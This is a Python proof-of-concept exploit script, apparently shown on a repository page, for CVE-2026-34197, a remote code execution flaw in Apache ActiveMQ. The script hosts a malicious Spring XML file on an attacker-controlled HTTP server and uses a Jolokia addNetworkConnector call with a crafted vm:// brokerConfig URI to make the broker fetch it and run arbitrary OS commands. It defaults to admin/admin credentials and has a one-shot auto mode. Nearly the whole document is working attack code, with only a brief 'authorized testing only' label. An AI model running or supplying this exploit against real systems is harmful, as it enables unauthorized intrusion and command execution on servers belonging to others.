README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia MBean + VM Transport
Proof of Concept for authorized security testing only.
Attack chain:
Jolokia exec -> addNetworkConnector() MBean
-> vm:// transport with brokerConfig=xbean:http://attacker/evil.xml
-> Spring XML bean instantiation -> OS command execution
Usage:
1. Start the HTTP server (serves malicious Spring XML):
python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned"
2. In another terminal, fire the exploit:
python3 exploit_poc.py exploit --target http://victim:8161 \
--user admin --password admin \
--lhost 10.0.0.1 --lport 9999
Or run both in one shot (auto-serves XML, fires exploit, cleans up):
python3 exploit_poc.py auto --target http://victim:8161 \
--lhost 10.0.0.1 --lport 9999 --cmd "id > /tmp/pwned.txt"
"""
import argparse
import http.server
import json
import shlex
import sys
import textwrap
import threading
import time
import urllib.request
import base64
from urllib.error import URLError, HTTPError
SPRING_XML_TEMPLATE = textwrap.dedent("""\
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
{cmd_values}
</list>
</constructor-arg>
</bean>
</beans>
""")
def build_spring_xml(cmd: str) -> str:
"""Build a Spring XML that executes the given shell command."""
parts = shlex.split(cmd)
values = "\n".join(f" <value>{p}</value>" for p in parts)
return SPRING_XML_TEMPLATE.format(cmd_values=values)
def build_spring_xml_shell(cmd: str) -> str:
"""Build Spring XML using bash -c for complex commands."""
values = (
" <value>bash</value>\n"
" <value>-c</value>\n"
f" <value>{cmd}</value>"
)
return SPRING_XML_TEMPLATE.format(cmd_values=values)
class ExploitHTTPHandler(http.server.BaseHTTPRequestHandler):
"""HTTP handler that serves the malicious Spring XML."""
xml_payload = ""
def do_GET(self):
print(f"[+] Target fetched payload: {self.path}")
self.send_response(200)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(self.xml_payload.encode())
def log_message(self, format, *args):
pass # suppress default logging
def start_http_server(host: str, port: int, xml_payload: str) -> http.server.HTTPServer:
"""Start HTTP server serving the Spring XML payload."""
ExploitHTTPHandler.xml_payload = xml_payload
server = http.server.HTTPServer((host, port), ExploitHTTPHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
print(f"[*] Serving malicious Spring XML on http://{host}:{port}/evil.xml")
return server
def check_jolokia(target: str, username: str, password: str) -> dict | None:
"""Verify Jolokia is accessible and return broker info."""
url = f"{target.rstrip('/')}/api/jolokia/"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {creds}")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
data = json.loads(resp.read())
print(f"[+] Jolokia accessible — agent version: {data.get('value', {}).get('agent', 'unknown')}")
return data
except HTTPError as e:
if e.code == 401:
print(f"[-] Authentication failed (401) — check credentials")
elif e.code == 403:
print(f"[-] Jolokia access forbidden (403)")
else:
print(f"[-] HTTP error: {e.code}")
return None
except URLError as e:
print(f"[-] Connection failed: {e.reason}")
return None
def get_broker_name(target: str, username: str, password: str) -> str | None:
"""Query Jolokia to discover the broker name dynamically."""
url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {creds}")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
data = json.loads(resp.read())
if data.get("status") == 200 and data.get("value"):
for mbean_name in data["value"]:
# Extract brokerName from the MBean object name
for part in mbean_name.split(","):
if part.startswith("brokerName="):
name = part.split("=", 1)[1]
print(f"[+] Discovered broker name: {name}")
return name
except Exception:
pass
# Fallback: try common default
print("[*] Could not discover broker name, using default 'localhost'")
return "localhost"
def fire_exploit(target: str, username: str, password: str,
lhost: str, lport: int, broker_name: str = "localhost") -> bool:
"""Send the Jolokia exec request to trigger the exploit chain."""
# The crafted URI:
# static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/evil.xml)
#
# - static:(...) is the network connector discovery URI
# - vm://evil references a non-existent broker, forcing dynamic creation
# - brokerConfig=xbean:http://... loads remote Spring XML config
malicious_uri = (
f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/evil.xml)"
)
payload = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": [malicious_uri]
}
url = f"{target.rstrip('/')}/api/jolokia/"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", f"Basic {creds}")
req.add_header("Origin", target)
print(f"[*] Sending exploit payload to {url}")
print(f"[*] Malicious URI: {malicious_uri}")
try:
with urllib.request.urlopen(req, timeout=30) as resp:
result = json.loads(resp.read())
if result.get("status") == 200:
print("[+] Jolokia returned 200 — exploit payload delivered")
print(f"[+] Response: {json.dumps(result, indent=2)}")
return True
else:
print(f"[-] Unexpected status: {result.get('status')}")
print(f" Error: {result.get('error', 'unknown')}")
return False
except HTTPError as e:
body = e.read().decode(errors="replace")
print(f"[-] HTTP {e.code}: {body[:500]}")
return False
except URLError as e:
print(f"[-] Connection failed: {e.reason}")
return False
def cmd_serve(args):
"""Serve mode: just host the malicious XML."""
if args.shell:
xml = build_spring_xml_shell(args.cmd)
else:
xml = build_spring_xml(args.cmd)
print(f"[*] Command to execute: {args.cmd}")
print(f"[*] Spring XML payload:\n{xml}")
server = start_http_server("0.0.0.0", args.lport, xml)
print("[*] Waiting for target to fetch payload... (Ctrl+C to stop)")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
server.shutdown()
def cmd_exploit(args):
"""Exploit mode: send the Jolokia request."""
print(f"[*] Target: {args.target}")
print(f"[*] Credentials: {args.user}:{args.password}")
# Step 1: Check Jolokia
info = check_jolokia(args.target, args.user, args.password)
if not info:
sys.exit(1)
# Step 2: Discover broker name
broker_name = get_broker_name(args.target, args.user, args.password)
# Step 3: Fire
success = fire_exploit(args.target, args.user, args.password,
args.lhost, args.lport, broker_name)
if success:
print("\n[+] Exploit sent. Check if your payload executed on the target.")
else:
print("\n[-] Exploit may have failed. Check server logs.")
def cmd_auto(args):
"""Auto mode: serve XML + fire exploit in one shot."""
if args.shell:
xml = build_spring_xml_shell(args.cmd)
else:
xml = build_spring_xml(args.cmd)
print(f"[*] Target: {args.target}")
print(f"[*] Command: {args.cmd}")
# Start HTTP server
server = start_http_server("0.0.0.0", args.lport, xml)
time.sleep(0.5)
# Check Jolokia
info = check_jolokia(args.target, args.user, args.password)
if not info:
server.shutdown()
sys.exit(1)
# Discover broker name
broker_name = get_broker_name(args.target, args.user, args.password)
# Fire exploit
success = fire_exploit(args.target, args.user, args.password,
args.lhost, args.lport, broker_name)
# Wait briefly for the target to fetch the XML
print("[*] Waiting 5s for target to fetch payload...")
time.sleep(5)
server.shutdown()
if success:
print("\n[+] Done. Verify command execution on target.")
else:
print("\n[-] Exploit delivery uncertain. Check manually.")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-34197 ActiveMQ RCE PoC — Authorized testing only"
)
subparsers = parser.add_subparsers(dest="mode", required=True)
# Serve mode
p_serve = subparsers.add_parser("serve", help="Host malicious Spring XML")
p_serve.add_argument("--lhost", required=True, help="Listen host for HTTP server")
p_serve.add_argument("--lport", type=int, default=9999, help="Listen port (default: 9999)")
p_serve.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
help="OS command to execute")
p_serve.add_argument("--shell", action="store_true",
help="Wrap command in bash -c (for pipes, redirects)")
# Exploit mode
p_exploit = subparsers.add_parser("exploit", help="Send Jolokia exploit request")
p_exploit.add_argument("--target", required=True, help="Target URL (http://host:8161)")
p_exploit.add_argument("--user", default="admin", help="Username (default: admin)")
p_exploit.add_argument("--password", default="admin", help="Password (default: admin)")
p_exploit.add_argument("--lhost", required=True, help="Attacker IP hosting the XML")
p_exploit.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
# Auto mode
p_auto = subparsers.add_parser("auto", help="Serve + exploit in one shot")
p_auto.add_argument("--target", required=True, help="Target URL (http://host:8161)")
p_auto.add_argument("--user", default="admin", help="Username (default: admin)")
p_auto.add_argument("--password", default="admin", help="Password (default: admin)")
p_auto.add_argument("--lhost", required=True, help="Attacker IP")
p_auto.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
p_auto.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
help="OS command to execute")
p_auto.add_argument("--shell", action="store_true",
help="Wrap command in bash -c")
args = parser.parse_args()
print("=" * 70)
print(" CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport")
print(" For authorized security testing and research only.")
print("=" * 70)
print()
if args.mode == "serve":
cmd_serve(args)
elif args.mode == "exploit":
cmd_exploit(args)
elif args.mode == "auto":
cmd_auto(args)
if __name__ == "__main__":
main()